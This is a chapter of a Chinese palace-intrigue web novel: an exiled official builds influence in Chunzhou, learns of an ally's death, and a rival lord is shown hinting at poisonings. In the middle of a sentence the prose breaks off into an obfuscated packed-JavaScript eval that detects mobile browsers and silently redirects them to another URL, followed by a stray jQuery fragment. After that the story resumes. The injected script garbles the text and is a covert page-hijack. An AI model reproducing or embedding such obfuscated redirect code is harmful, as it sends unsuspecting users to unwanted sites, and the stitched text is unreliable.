“武昌侯？”


    春州，阳春县，破庙内，火光将沈昱脸上的思忖映照得一清二楚。他略带歉然地笑了笑：“我只听过有任武昌侯，似乎不知为何被前朝的人害死了。”


    这人真是说什么都能扯到前朝。


    晏楚鹤没再接话，心下已有了自己的盘算，径直回了府中。


    如今虽然说大权已被林司马架空，但是但那些明令归属的职权，她仍可尝试动用。例如，勘核刑名。作为一州最高司法长官，林锵不让她判现在的案，她便抓住机会，又借着看乐子的名义，调阅了许多过往的卷宗，尤其是涉及赋税、田产与人命的旧档。


    而有沈昱这位破案高手在，冤假错案段的又快又利落，打得林锵措手不及。偏偏桩桩件件刚刚好没怎么侵犯林锵的利益，搞得这位司马也不好说什么。


    再者便是兴办女学，她自己确实还挺喜欢这份事业，亦深知这是与宫中贵妃拉近关系的一条蹊径——此时的晏楚鹤对京都局势、尤其是窦怀谦的病情一无所知。


    晏楚鹤本想拜托才情不俗的小姨出面主持，连第一批学生都是现成的，府里那几个林锵强塞给她的丫鬟。不料晏季华却另有一番见地。


    她发现了无人注意的商机。准确来说，春州偏僻，寻常人要做生意，鲜少会来这。


    蜀地物产丰饶，既有蜀锦、名酒、漆器这类奢侈之物，也不乏药材等民生所需。晏家久居蜀地，世代经商，熟谙往来商路。如今的春州时疫方歇，瘴气犹存，蜀地药材中若有特殊之用的，自然可以大肆牟利——晏楚鹤当即否了借此敛财的念头，反而自掏腰包运来一批，再乘林司马看守松懈的时候免费散与百姓。


    小姨那借药材牟利的商路虽未成行，却不妨碍她另起炉灶。凭着前任蜀地县丞夫人的见识与商人女儿的禀赋，她盘下一间临街铺面，挂出晏楚鹤解散了的，“孤鹤阁”的招牌。只是她如今卖的一半是联系外祖父，从蜀地来的锦缎、茶叶，另一半摆上春州本地的山货、香草。


    女学的学生们课余在此帮手，学着辨识货品、记账核价、迎来送往，既赚得些许贴己，也长了持家的本事。


    晏楚鹤也在经营自己的声名形象。从前在京都，人们表面敬重她，背地里把“女祸”弄权贪官的罪名全扣在她身上，她那时只需要在乎皇帝的想法，现在不一样了。林司马越是想将她隔绝于高墙之内，她越是要走到市井中去。


    孤鹤阁的慈善活动，免费发放的药材，偶尔现身扶老人家过马路……晏楚鹤总能甩开林司马的眼线，出现在百姓的生活中。


    当然，她这么做，也是为了给那位住在县西，和前朝关联密切的沈师爷看的。


    她可以说是模仿刘霜清母子，将自己包装成一个贤明，慈爱，能力卓越的形象……为了给自己多条退路。


    当然，不止一条。


    春州倚着滔滔江水，官道却年久失修，水路陆路皆不太平，盗匪与私盐贩子横行，州府向来懒于过问。晏楚鹤来前细细考量过，若真想在此地长久立足，或许可以从这最暴利的私盐着手，天高皇帝远，在这盐铁转运使两年不来一次的地方，她自然是爱怎么样怎么样。


    此外，此地自然资源并不算贫瘠，山间有沉香、鸡舌、檀香暗自生长，林深之处多珍木异材，羽色鲜丽的禽鸟皆具贡品之资。症结不在无货，而在货品杂芜、优劣难辨，更无通往富庶之地的稳定商路。


    此事于她和晏季华而言，反而不难——订立品级、疏通门路，本是她们长在商人家自幼耳濡目染的事。晏楚鹤的过目不忘之能，让她对其它地方的定价也记得清楚，此刻派上了用场。


    至于那御定的雕刻差事……既然是路斐害她来这里——晏楚鹤几乎是肯定是他干的。按照那人的个性，他绝对干得出这种事情。因此，她想，他一定有他的打算——难道只是害死她？他不会这么做，也没这么做的理由。


    至于那“奇石”贡品，本就是个虚悬的由头。春州群山连绵，矿脉隐约，寻一块合用的石料慢慢雕琢，她耗得起这个工夫。再说，景安帝都未必能撑到那时候。


    三个月的时间如檐下滴水，悄然而过。她的小动作林司马初时并不看在眼里。在他看来，这不过是新官上任例行的三把火，与历任者并无不同——无非是借着职便，寻些门路，填补私囊罢了。都是官场上心照不宣的常例，与真正的权柄争夺并无关系。


    这时，晏楚鹤和京都的第一封书信，终于有了回音。


    信中除了希望她保重身体，便是燕王重病的消息，刘霜清担心与蜀地有关，特意问她是否知晓隐情。


    晏楚鹤正一面翻阅卷宗，一面提笔回信，下一封信却来得出乎意料的快，是故人的死讯。


    昔日并肩作战的战友，她曾寄予厚望的明主——没想到那日宫宴一别竟是永别。晏楚鹤只觉得信纸攥在手中烫手，拿着不是，放下也不是。她怔了片刻，她似乎总在经历生离死别。


    她记得窦怀谦在战场上笑得肆意，杀伐果决。是以，她无论如何都想象不出这个人病入膏肓的情形


    ……虚假的希望已然崩塌。


    晏楚鹤从匣子里翻出那封变了色的手信，窦怀谦许诺的剑南节度使的位子，现在自然也成了空谈……不过，就算是窦怀谦没死，现在的剑南节度使也未必会答应。


    如今这煌煌夏国积重难返，并不是一个知人善用的明君，一个骁勇善战的帝王所能改变的。晏楚鹤离京都越远，反而对这点参悟得越透彻。


    “楚鹤，莫再发呆了，可是京都有什么变数？如今刚入春，冷一时暖一时，多添件衣裳总是好的。”


    “嗯。”


    晏楚鹤接过晏季华递来的暖炉，指尖渐渐回暖，心里那股子寒意被衬地更加明显了。信中提到，窦怀谦的症状，竟与一年前亡故的前任武昌侯如出一辙。昔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884532|190576||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日她在京都，因路斐之故曾暗中查过那件事，如果她的猜想是真的——那。


    晏楚鹤倒吸了一口凉气。


    她敬佩他的决心。


    ——


    “……在下对您的敬佩之情，溢于言表，纵是万言书信，也难尽其意。”


    武昌侯府。


    不过两年，路斐已与初赴益州时判若两人。年少时锋芒外露的戾气已然消退，笑时像含着一泓潋滟水光，看人时眼波微漾，不作表情时，一种更深沉、黏稠的东西，便从他周身无声地弥漫开来，眉眼间尽是看不破的缜密，又给人孤狐野狼之感。


    路斐看这林司马处处讨好的字，只觉得恶心，反手便把信纸扔进火盆。立在一旁，他的手下阿顺识趣地一边用棍子搅了搅，一边仔细听主子交代下一步和其他几个世家的来往事宜。


    现如今，晏楚鹤和王宇双双下台，燕王又突然病倒，这局面，能否拿到权力自然取决于谁能讨好景安帝——那狗皇帝大概是用了妖法，儿子突然死了，自己的寿命倒是长了。倒也便宜了他路斐，如今各个世家都赶着和他联系，毕竟他靠着他父亲，已故的武昌侯的份上，在皇帝面前至今还有几分恩宠。


    但其实这份恩宠来的叫人笑话。他父亲名义上是为了保护景安帝而死于前朝余孽之手。但路斐深知，他父亲那时早已病骨支离，连站立都需人搀扶，自然是什么也做不成。其间到底如何，如今也只有他自己清楚。


    他厌烦地向阿顺招手：“药备的怎么样？”


    年轻的小厮一愣，随即躬身：“侯爷放心，知情的人全都妥善送离了京城。太医那边定然查不到我们身上。”


    路斐叹了口气，无奈地摆手：“我问的是让你备的护手药膏。外面铺子里的信不过，还是咱们家生子调出来的可靠。”


    他顿了顿，抬眼瞥了下阿顺，声音轻缓又不满：“而且，话不要说得那么满。这世上，哪有定然查不到的事？以刘霜清的能耐，查到我头上是迟早的。”


    阿顺背上倏地窜起一层冷汗，忙垂首称是。路斐却不再看他，而是自个儿出神——他坏心思地想，知道窦怀谦的死讯，晏楚鹤此刻怕是难过得很吧？他总觉得她喜欢的是窦怀谦那个类型。想着想着，路斐自己倒觉得像是心头一直被人拿小针刺来刺去，折磨得很。


    路斐抬手按了按眉心，像是想把那点不合时宜的情绪压下去，偏偏越压，脑子里关于那人的画面越清晰……春州阴湿得很，她那双用来雕刻的手，不会真的生了疮吧？


    这时，阿顺惊呼打断了他的思绪：“侯爷，林司马的信纸里还藏了一张不一样的——”


    路斐一惊，竟连思索都来不及，伸手便去取。能在给他的信中动手脚，除了那一个人，还能是谁？


    被从火堆里救出的残缺纸片上只有两行字还算完好，又或许是只写了两行字。


    “杀了你父亲，你后悔吗？”